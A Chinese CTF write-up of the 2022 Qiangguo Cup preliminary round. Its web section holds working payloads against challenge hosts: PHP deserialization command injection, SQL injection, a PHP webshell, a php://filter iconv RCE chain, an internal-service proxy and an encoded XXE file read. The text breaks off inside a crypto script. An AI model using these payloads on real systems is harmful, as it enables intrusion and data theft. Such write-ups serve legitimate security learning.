2022强国杯技术技能大赛初赛wp

Rank: 10,(东部赛区太卷了吧)

web

upload_lol

先传.htaccess,再传图片马,getshell

有个内容检测,php版本为5,用script标签绕过即可

ezpop_new

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<?php
function filter($string) {
$safe = array('system','fopen','fread','file_get_contents','flag');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'nonono', $string);
}

class PingUtils{
function __call($name,$args){
system("ping -c4 ${args[0]}");
}
}
class Cindy{
var $someone;
var $phone;
function call(){
$this->phone->call($this->someone);
}
}
class Bob{
public $flag=True;
public function __get($a){
if($this->flag){
$cindy = new Cindy();
$cindy->someone = $_REQUEST['someone'];
$cindy->phone = "p50";
#var_dump(filter(serialize($cindy)));
$cindy = unserialize(filter(serialize($cindy)));
$cindy->call($someone);
}else{
echo 'nonono';
}
}
public function __wakeup(){
$this->flag = False;
}
}
class Alice{
public function __destruct(){
echo $this->c->b;
}
}
highlight_file(__FILE__);
@unserialize($_GET['pop']);

从入口先到__destruct(),往下走只能是echo触发__toString或者$this->c->b,对于$this->c触发__get,这里显然只有__get能用

但是进入__get中利用的部分需要条件if($this->flag),显然

1
2
3
public function __wakeup(){
$this->flag = False;
}

会阻碍这个条件成立

由于题目中的PHP版本合适,可以采用修改超过成员数目来绕过wakeup

payload:?pop=O:5:"Alice":1:{s:1:"c";O:3:"Bob":2:{s:4:"flag";b:1;}}

进入下一个利用部分,考察反序列化字符串替换溢出

利用点在

1
2
3
4
5
class PingUtils{
function __call($name,$args){
system("ping -c4 ${args[0]}");
}
}

而此又需要从

1
2
3
4
5
6
7
class Cindy{
var $someone;
var $phone;
function call(){
$this->phone->call($this->someone);
}
}

触发

但是此处的赋值是无法实现这个功能的

1
2
3
$cindy = new Cindy();
$cindy->someone = $_REQUEST['someone'];
$cindy->phone = "p50";

利用点在

1
$cindy = unserialize(filter(serialize($cindy)));

其中的filter会对反序列化后的字符串进行特定值替换,然后再解压

所以可以通过赋值特定字符串触发filter中的过滤实现溢出,从而达到后面自PingUtils类到filter这条链的利用

因为序列化后的字符串中是依靠特定位置的数字来标示其后的属性内容的长度,这个非等长替换就会导致在反序列化解析时出现整体的偏移,原本的作为结构的部分被偏移到属性内容的部分,属性内容的部分值又会偏移视为结构的部分

构造足够多的非等长替换,就能偏移出一个完整结构部分,在里面定义出需要的属性

一个序列化后的字符串如果存在多余无法正常解析的部分,这部分前面如果能被正常解析,那么多余部分在解析时会被抛弃掉,所以构造产生多余数据不用担心,会被忽略掉

构造出payload:
someone=freadfreadfreadfreadfreadfreadfreadfreadfreadfreadfreadfreadfreadfreadfreadfreadfreadfreadfreadfreadfreadfreadfreadfreadfreadfreadfreadfreadfreadfreadfreadfreadfreadfreadfread|ls /";s:5:"phone";O:9:"PingUtils":0:{}}

对于payload来说,在filter替换前$cindy->someone属性的值序列化字符串表示是 s:5:"cindy";s:224:"PAYLOADSTRING...."这样

但是filter替换会把fread换成nonono即长度5的字符串变成长度6

但此时$cindy->someone属性用来表示其值 这一字符串的长度的数字还是224没变

但实际上替换后值字符串的总长度由224变成了224+35(有35个fread替换为了nonono)

所以反序列化只会取值字符串前224个字符作为$cindy->someone属性反序列化后的值

剩下35则会被当成反序列化字符串中的结构部分杯解析

即在PHP看来整个字符串是这样的"cindy";s:224:"AfterPayloadString...";s:5:"phone";O:9:"PingUtils":0:{}}

cindy属性后面还有一个属性phone,其值是个名为PingUtils的对象

注意最末尾的}.这个将于整个反序列化字符串开始的{闭合,PHP将把这个看作反序列化字符串的结尾

只有后面的内容由于结构不完整PHP并不会解析,而是直接抛弃并且不会产生任何报错

读取flag:
?pop=O:5:"Alice":1:{s:1:"c";O:3:"Bob":2:{s:4:"flag";b:1;}}&someone=freadfreadfreadfreadfreadfreadfreadfreadfreadfreadfreadfreadfreadfreadfreadfreadfreadfreadfreadfreadfreadfreadfreadfreadfreadfreadfreadfreadfreadfreadfreadfreadfreadfreadfread|nl /*";s:5:"phone";O:9:"PingUtils":0:{}}

file_sql_new

赛后复现

sql注入,过滤了一次select

双写select绕过

payload:

http://39.107.71.45:65441/index.php?id=-1%27union%20seleselectct%201,(seselectlect(group_concat(table_name))from(information_schema.tables)where((table_schema)=(database()))),3%23

http://39.107.71.45:65441/index.php?id=-1%27union%20seleselectct%201,(selselectect(group_concat(column_name))from(information_schema.columns)where((table_name)=(%27fl4g%27))),3%23

http://39.107.71.45:65441/index.php?id=-1%27union%20seleselectct%201,(seselectlect(fllllag)from(fl4g)),3%23

http://39.107.71.45:65441/index.php?id=-1%27union%20seleselectct%201,(seleselectct(hex(load_file(%22/var/www/html/flag.php%22)))),3%23

得到3C3F7068700A0A24666C6167203D207B6C69726768793864757370717A6A6631623735636E6561773330343974766D787D3B0A6563686F20226161223B0A3F3E0A,转字符串即可得到flag

ezweb_new

赛后复现

1
2
3
4
5
6
7
8
9
10
11
<?php
highlight_file(__FILE__);
$_=@$_GET['‮imaohw?⁦⁩⁦whoami'];//
$__="/var/www/html";
if($_ && @substr(file($_)[0],0,6) === '@<?php'){
include($_);
}
foreach ($_GET as $key => $value) {
$$key = $value;
}
var_dump(scandir($__));

上来有个小陷阱,在传参的地方,用鼠标选,会发现注释处左右的字符串不受你控制,这里考的就是unicode字符串了

当复制代码进某些编辑器中可以看到识别到了一些Unicode字符串,参数很明显不是whoami

[U+202E]等进行Url编码,得到%E2%80%AEimaohw?%E2%81%A6%E2%81%A9%E2%81%A6whoami

继续往下看,可以有两种方法做

方法一:
PHP崩溃getshell

使php崩溃后保留下临时文件,然后利用scandir查文件名,最后包含达到getshell

写马:

1
2
3
4
5
6
import requests

url = "http://82.157.177.192:46728/?%E2%80%AEimaohw%3F%E2%81%A6%E2%81%A9%E2%81%A6whoami=php://filter/string.strip_tags/resource=/etc/passwd"
paramsMultipart = [('file', ('a.php', "@<?php\r\neval(\x24_POST['a']);\r\necho 123;\r\n?>", 'application/octet-stream'))]

requests.post(url,files=paramsMultipart)

查文件名:
http://82.157.177.192:46728/?%E2%80%AEimaohw?%E2%81%A6%E2%81%A9%E2%81%A6whoami=1&__=/tmp/

getshell:
http://82.157.177.192:46728/??%E2%80%AEimaohw?%E2%81%A6%E2%81%A9%E2%81%A6whoami=/tmp/phpsxtpjV

方法二:
filter构造一句话rce

原理参考1
原理参考2

项目地址

师傅们如果生成出来的payload不能用的话可以试试切换系统,比如用ubuntu或者kali或者debian试试(不要用windows,因为在windows下文件名不区分大小写),还有php版本尽量跟题目保持一致,否则服务器上的iconv默认支持和靶机不一样,就会无效。要是还不行就试试项目中的fuzzer.php,重新构造下(我构造这个花了一天的时间,呜呜呜)

我的poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
file_to_use = "/etc/passwd"

#@<?php eval($_POST[2]);;?>
base64_payload = "QDw/cGhwIGV2YWwoJF9QT1NUWzJdKTs7Pz4K"

# generate some garbage base64
filters = "convert.iconv.UTF8.CSISO2022KR|"
filters += "convert.base64-encode|"
# make sure to get rid of any equal signs in both the string we just generated and the rest of the file
filters += "convert.iconv.UTF8.UTF7|"


for c in base64_payload[::-1]:
if(c=="/"):
c="%2f"
filters += open('./res/'+c).read() + "|"
# decode and reencode to get rid of everything that isn't valid base64
filters += "convert.base64-decode|"
filters += "convert.base64-encode|"
# get rid of equal signs
filters += "convert.iconv.UTF8.UTF7|"

filters += "convert.base64-decode"

final_payload = f"php://filter/{filters}/resource={file_to_use}"

with open('test.php','w') as f:
f.write('<?php echo file_get_contents("'+final_payload+'");?>')
print(final_payload)

http://47.94.151.201:31863/?%E2%80%AEimaohw?%E2%81%A6%E2%81%A9%E2%81%A6whoami=php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UTF-16|convert.iconv.ISO6937.UTF16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP866.CSUNICODE|convert.iconv.CSISOLATIN5.ISO_6937-2|convert.iconv.CP950.UTF-16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.iconv.ISO-IR-103.850|convert.iconv.PT154.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500.L4|convert.iconv.ISO_8859-2.ISO-IR-103|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UTF-16|convert.iconv.ISO6937.UTF16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500.L4|convert.iconv.ISO_8859-2.ISO-IR-103|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500-1983.UCS-2BE|convert.iconv.MIK.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-4LE.OSF05010001|convert.iconv.IBM912.UTF-16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP949.UTF32BE|convert.iconv.ISO_69372.CSIBM921|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.BIG5.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.UCS2.UTF-8|convert.iconv.CSISOLATIN6.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500-1983.UCS-2BE|convert.iconv.MIK.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=/etc/passwd

POST
2=system(‘ls’);

用上面两种方法都能getshell,但是会发现读不了flag,没权限

ps -aux命令看下进程,发现root用户开了个tomcat服务

curl试一下tomcat的默认8080端口,有内容

但是命令行不好做题,就先考虑代理出来

web根目录下传个proxy.php,注意修改下地址

项目地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
<?php

/*
*
PHP接口代理转发:
以Golang接口转发为例;
如有必要,请设置内网IP为白名单;
建议内网接口返回格式:Content-Type: text/html; charset=UTF-8;
*
使用示例:
$host = "http://127.0.0.2"; // 外网网址(主网址或有部分路径)
$intranet = 'http://127.0.0.4'; // 内网网址(主网址或有部分路径)
$php_proxy = new php_proxy();
$back = $php_proxy->request_intranet($host, $intranet);
echo $back;
* */
class php_proxy{

// 发送get、post请求
public function request_option($request_url='', $method='post', $request_data=[], $to_json=false): string{
if (empty($request_url)) {
$back = '{"state":0, "msg":"request_url is null", "content":""}';
}else{
if ($method == 'post' || $method == 'POST'){
$body = http_build_query($request_data);
$options = [
'http' => [
'method' => 'POST', // 注意要大写
'header' => 'Content-type:application/x-www-form-urlencoded',
'content' => $body,
'ignore_errors'=> true, // 忽略报错,直接返回接口内容
],
];
$context = stream_context_create($options);
$data = file_get_contents($request_url, false, $context);
}else if ($method == 'get'|| $method == 'GET'){
$curl = curl_init();
curl_setopt($curl, CURLOPT_URL, $request_url);
curl_setopt($curl, CURLOPT_HEADER, 0); // 不抓取头部信息。只返回数据
curl_setopt($curl, CURLOPT_TIMEOUT, (int)60000); // 超时设置
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1); // 1表示不返回bool值
$data = curl_exec($curl);
// $code = curl_getinfo($curl, CURLINFO_HTTP_CODE); // 获取接口状态码
curl_close($curl);
}else{
$data = '{"state":0, "msg":"method error. method is only in [get, post], options etc be not supported.", "content":""}';
}

$back = $data;
}

if ($to_json == true){
$res = json_encode($back, true);
}else{
$res = $back;
}

return $res;
}

// 获取完整网址
public function get_url(): string{
if(isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') {
$url = 'https://';
}else{
$url = 'http://';
}
//这里的逻辑会导致访问内网的URI与内网相同
//采用PATH_INFO的模式来表示内网需要的URI
//即 外 http://127.0.0.1/proxy.php/index => 内 http://127.0.0.1/index
// return $url.$_SERVER['SERVER_NAME'].':'.$_SERVER['SERVER_PORT'].$_SERVER['REQUEST_URI'];
return $url.$_SERVER['SERVER_NAME'].':'.$_SERVER['SERVER_PORT'].$_SERVER['PATH_INFO'];
}

// 是post
public function is_post(): bool{
return isset($_SERVER['REQUEST_METHOD']) && strtoupper($_SERVER['REQUEST_METHOD']) == 'POST';
}

// 是get
public function is_get(): bool{
return isset($_SERVER['REQUEST_METHOD']) && strtoupper($_SERVER['REQUEST_METHOD']) == 'GET';
}

// 生成内网网址:把外网网址解析到内网网址
public function make_request_url($host, $intranet): string{
return str_replace($host, $intranet, $this->get_url()); // 实际代理地址(就是替换主网址或路径)
}

// 转发接口
// 请从此处调用
public function request_intranet($host, $intranet): string{
// 测试的内网请求地址:$request_url = http://127.0.0.l:8000/api.gen1/admin
$request_url = $this->make_request_url($host, $intranet);
if ($this->is_post()){
$request_array = $_REQUEST; // 请求参数数组
$back = $this->request_option($request_url, 'post', $request_array, false);
}else if ($this->is_get()){
$request_array = [];
$back = $this->request_option($request_url, 'get', $request_array, false);
} else{
$back = '{"state":0, "msg":"method error. method is only in [get, post], options etc be not supported.", "content":""}';
}
return $back;
}

}


// 返回数据
$host = "http://82.157.177.192:46728"; // 外网网址(主网址或有部分路径)
$intranet = 'http://127.0.0.1:8080'; // 内网网址(主网址或有部分路径)
$php_proxy = new php_proxy();
$back = $php_proxy->request_intranet($host, $intranet);
echo $back;
?>

之后访问http://IP:PORT/proxy.php/index,就相当于访问http://InnerIP:InnerPORT/index

抓包一看,很明显的XXE

fuzz一下,可恶,竟然还有waf

可以利用编码转换绕过waf
iconv -f utf8 -t UTF-32LE 1.xml > 2.xml

这里放一个编码后的payload(本地dtd读文件报错带flag):
%3C%00%00%00%3F%00%00%00x%00%00%00m%00%00%00l%00%00%00+%00%00%00v%00%00%00e%00%00%00r%00%00%00s%00%00%00i%00%00%00o%00%00%00n%00%00%00%3D%00%00%00%22%00%00%001%00%00%00.%00%00%000%00%00%00%22%00%00%00+%00%00%00%3F%00%00%00%3E%00%00%00%0D%00%00%00%0A%00%00%00%3C%00%00%00%21%00%00%00D%00%00%00O%00%00%00C%00%00%00T%00%00%00Y%00%00%00P%00%00%00E%00%00%00+%00%00%00m%00%00%00e%00%00%00s%00%00%00s%00%00%00a%00%00%00g%00%00%00e%00%00%00+%00%00%00%5B%00%00%00%0D%00%00%00%0A%00%00%00%3C%00%00%00%21%00%00%00E%00%00%00N%00%00%00T%00%00%00I%00%00%00T%00%00%00Y%00%00%00+%00%00%00%25%00%00%00+%00%00%00l%00%00%00o%00%00%00c%00%00%00a%00%00%00l%00%00%00_%00%00%00d%00%00%00t%00%00%00d%00%00%00+%00%00%00S%00%00%00Y%00%00%00S%00%00%00T%00%00%00E%00%00%00M%00%00%00+%00%00%00%22%00%00%00f%00%00%00i%00%00%00l%00%00%00e%00%00%00%3A%00%00%00%2F%00%00%00%2F%00%00%00%2F%00%00%00t%00%00%00m%00%00%00p%00%00%00%2F%00%00%001%00%00%00.%00%00%00d%00%00%00t%00%00%00d%00%00%00%22%00%00%00%3E%00%00%00%0D%00%00%00%0A%00%00%00+%00%00%00+%00%00%00+%00%00%00+%00%00%00%3C%00%00%00%21%00%00%00E%00%00%00N%00%00%00T%00%00%00I%00%00%00T%00%00%00Y%00%00%00+%00%00%00%25%00%00%00+%00%00%00c%00%00%00o%00%00%00n%00%00%00d%00%00%00i%00%00%00t%00%00%00i%00%00%00o%00%00%00n%00%00%00+%00%00%00%27%00%00%00a%00%00%00a%00%00%00a%00%00%00%29%00%00%00%3E%00%00%00%0D%00%00%00%0A%00%00%00+%00%00%00+%00%00%00+%00%00%00+%00%00%00+%00%00%00+%00%00%00+%00%00%00+%00%00%00%3C%00%00%00%21%00%00%00E%00%00%00N%00%00%00T%00%00%00I%00%00%00T%00%00%00Y%00%00%00+%00%00%00%26%00%00%00%23%00%00%00x%00%00%002%00%00%005%00%00%00%3B%00%00%00+%00%00%00f%00%00%00i%00%00%00l%00%00%00e%00%00%00+%00%00%00S%00%00%00Y%00%00%00S%00%00%00T%00%00%00E%00%00%00M%00%00%00+%00%00%00%22%00%00%00f%00%00%00i%00%00%00l%00%00%00e%00%00%00%3A%00%00%00%2F%00%00%00%2F%00%00%00%2F%00%00%00f%00%00%00l%00%00%00a%00%00%00g%00%00%00%22%00%00%00%3E%00%00%00%0D%00%00%00%0A%00%00%00+%00%00%00+%00%00%00+%00%00%00+%00%00%00+%00%00%00+%00%00%00+%00%00%00+%00%00%00%3C%00%00%00%21%00%00%00E%00%00%00N%00%00%00T%00%00%00I%00%00%00T%00%00%00Y%00%00%00+%00%00%00%26%00%00%00%23%00%00%00x%00%00%002%00%00%005%00%00%00%3B%00%00%00+%00%00%00e%00%00%00v%00%00%00a%00%00%00l%00%00%00+%00%00%00%22%00%00%00%3C%00%00%00%21%00%00%00E%00%00%00N%00%00%00T%00%00%00I%00%00%00T%00%00%00Y%00%00%00+%00%00%00%26%00%00%00%23%00%00%00x%00%00%002%00%00%006%00%00%00%3B%00%00%00%23%00%00%00x%00%00%002%00%00%005%00%00%00%3B%00%00%00+%00%00%00e%00%00%00r%00%00%00r%00%00%00o%00%00%00r%00%00%00+%00%00%00S%00%00%00Y%00%00%00S%00%00%00T%00%00%00E%00%00%00M%00%00%00+%00%00%00%26%00%00%00%23%00%00%00x%00%00%002%00%00%007%00%00%00%3B%00%00%00f%00%00%00i%00%00%00l%00%00%00e%00%00%00%3A%00%00%00%2F%00%00%00%2F%00%00%00%2F%00%00%00n%00%00%00o%00%00%00n%00%00%00e%00%00%00x%00%00%00i%00%00%00s%00%00%00t%00%00%00e%00%00%00n%00%00%00t%00%00%00%2F%00%00%00%26%00%00%00%23%00%00%00x%00%00%002%00%00%005%00%00%00%3B%00%00%00f%00%00%00i%00%00%00l%00%00%00e%00%00%00%3B%00%00%00%26%00%00%00%23%00%00%00x%00%00%002%00%00%007%00%00%00%3B%00%00%00%3E%00%00%00%22%00%00%00%3E%00%00%00%0D%00%00%00%0A%00%00%00+%00%00%00+%00%00%00+%00%00%00+%00%00%00+%00%00%00+%00%00%00+%00%00%00+%00%00%00%26%00%00%00%23%00%00%00x%00%00%002%00%00%005%00%00%00%3B%00%00%00e%00%00%00v%00%00%00a%00%00%00l%00%00%00%3B%00%00%00%0D%00%00%00%0A%00%00%00+%00%00%00+%00%00%00+%00%00%00+%00%00%00+%00%00%00+%00%00%00+%00%00%00+%00%00%00%26%00%00%00%23%00%00%00x%00%00%002%00%00%005%00%00%00%3B%00%00%00e%00%00%00r%00%00%00r%00%00%00o%00%00%00r%00%00%00%3B%00%00%00%0D%00%00%00%0A%00%00%00+%00%00%00+%00%00%00+%00%00%00+%00%00%00+%00%00%00+%00%00%00+%00%00%00+%00%00%00%3C%00%00%00%21%00%00%00E%00%00%00L%00%00%00E%00%00%00M%00%00%00E%00%00%00N%00%00%00T%00%00%00+%00%00%00a%00%00%00a%00%00%00+%00%00%00%28%00%00%00b%00%00%00b%00%00%00%27%00%00%00%3E%00%00%00%0D%00%00%00%0A%00%00%00+%00%00%00+%00%00%00+%00%00%00+%00%00%00%25%00%00%00l%00%00%00o%00%00%00c%00%00%00a%00%00%00l%00%00%00_%00%00%00d%00%00%00t%00%00%00d%00%00%00%3B%00%00%00%0D%00%00%00%0A%00%00%00%5D%00%00%00%3E%00%00%00%0D%00%00%00%0A%00%00%00%3C%00%00%00u%00%00%00s%00%00%00e%00%00%00r%00%00%00%3E%00%00%00%0D%00%00%00%0A%00%00%00+%00%00%00+%00%00%00+%00%00%00+%00%00%00+%00%00%00+%00%00%00+%00%00%00+%00%00%00+%00%00%00+%00%00%00+%00%00%00+%00%00%00%3C%00%00%00u%00%00%00s%00%00%00e%00%00%00r%00%00%00n%00%00%00a%00%00%00m%00%00%00e%00%00%00%3E%00%00%00f%00%00%00l%00%00%00a%00%00%00g%00%00%00%3C%00%00%00%2F%00%00%00u%00%00%00s%00%00%00e%00%00%00r%00%00%00n%00%00%00a%00%00%00m%00%00%00e%00%00%00%3E%00%00%00%0D%00%00%00%0A%00%00%00+%00%00%00+%00%00%00+%00%00%00+%00%00%00+%00%00%00+%00%00%00+%00%00%00+%00%00%00+%00%00%00+%00%00%00+%00%00%00+%00%00%00%3C%00%00%00p%00%00%00a%00%00%00s%00%00%00s%00%00%00w%00%00%00o%00%00%00r%00%00%00d%00%00%00%3E%00%00%00r%00%00%00o%00%00%00o%00%00%00t%00%00%00%3C%00%00%00%2F%00%00%00p%00%00%00a%00%00%00s%00%00%00s%00%00%00w%00%00%00o%00%00%00r%00%00%00d%00%00%00%3E%00%00%00%0D%00%00%00%0A%00%00%00%3C%00%00%00%2F%00%00%00u%00%00%00s%00%00%00e%00%00%00r%00%00%00%3E%00%00%00

misc

Welcome_to_QGB

V2VsY29tZV90b19RR0I=base64解码得到Welcome_to_QGB

找找GIF

伪加密,09->00,取出aaa

aaa添加后缀png,修改高度,得到压缩包密码:okv90D%&ffgbd

解压得到bbb,添加gif头GIF89a,得到flag

大佬大佬

lsb提取出png

修改高度得到flag

The fun picture

爆破得到密码gh89

FUN添加后缀zip,解压后文件补上png头89 50 4e 47,得到二维码

扫码得到ZmxhZ3tycjkwZm5uZW1kZnUwOGdma2ttdmVtZGszZm12NmZnYX0=

base64解码得到flag

B@tCh

赛后复现

BatchEncryption混淆的批处理文件

特征一般是开头的两个字节为0xFF0xFE,存在类似BatchEncryption Build 201610 By gwsbhqt@163.com的作者信息

本题将作者信息去除了

解密脚本,来自https://blog.csdn.net/Hunter98234/article/details/108672926

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
#!/usr/bin/python
# -*- coding: utf-8 -*-
#
# Batch Decryption 202009 (BatchEncryption Build 201610)
#

import os


def decryption(data):
if not (data[0] == 0xFF and data[1] == 0xFE):
print('Batch decryption bom error!')
return
if str(data[2:9], encoding="utf-8") != ' &cls\r\n':
print('Batch decryption cls error!')
return
if str(data[9:60], encoding="utf-8") != '::BatchEncryption Build 201610 By gwsbhqt@163.com\r\n':
print('Batch decryption build error!')
return

vars = {}

# decryption line
i = 60
l = len(data)
while i < l:
i = run(vars, data, i)


def run(vars, data, i):
buf = ''
f = 0
t = 0
x = False
l = len(data)
while(True):
if data[i] == 0x0d and data[i+1] == 0x0a:
i += 2
break
# get %var:~x,y% %0
if data[i] == 0x25:
if not x:
x = True
f = i
else:
x = False
t = i
rst = var_percent(data[f:t+1], vars)
buf += rst
else:
if not x:
buf += str(data[i:i+1], encoding="utf-8")
else:
if (f + 1 == i) and ((data[i] >= 0x30 and data[i] <= 0x39) or data[i] == 0x2a):
x = False
t = i
rst = str(data[f:t+1], encoding="utf-8")
buf += rst
i += 1
if i >= l:
break
#
print(buf)
bufs = buf.split('&@')
for var in bufs:
if var[0:4] == 'set ':
var = var[4:]
b = var.find('=')
vars[var[0:b]] = var[b+1:].replace('^^^', '^')

return i


def var_percent(data, vars):
full = str(data, encoding="utf-8")
buf = full[1:len(full)-1]
buf = buf.split(':~')
var = buf[0]
if not var in vars:
vars[var] = os.getenv(var)
ent = vars[var]
if (len(buf) > 1):
l = len(ent)
buf = buf[1].split(',')
f = int(buf[0])
t = int(buf[1])
if f < 0:
f, t = l + f, t
rst = ent[f: f+t]
else:
rst = full
return rst


encrypt_file = './batch_decryption/Encrypted_01.txt'

if __name__ == '__main__':

try:
file = open(encrypt_file, "rb")
data = file.read()
except Exception as err:
print('Batch decryption read error:', err)
exit
else:
file.close()

decryption(data)

修改下脚本,使它能适用于本题

因为附件中没有Build 201610 By....这串信息,所以将个判断去掉(17-19)
没有这个字符串后,bat内容也会从相应的60变为9(从@开始)

95行改为文件名

运行解密得到flag

pwn

qqjs_new

非预期解

ida分析,看到import * as std from 'std'import * as os from 'os'

所以输入os会返回模块中的函数
发现存在readdir,可以读目录

找到flag文件位置/home/ctf/flag

std模块中存在loadFile函数,可以读文件

读flag

crypto

babyRSA

赛后复现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import gmpy2
import libnum
import os
from Crypto.Util.number import *
from gmpy2 import next_prime
import hashlib



p=165183720742741436051373219716388644270093189046466421563632727622389425827620783096218651072108769567350808642169644915755493944233905573858905774991122631609402471527613272585988802294622263573574301013199411535656758222265554222107815469076608655188293263358371274025455477828555535371028164366376886408977
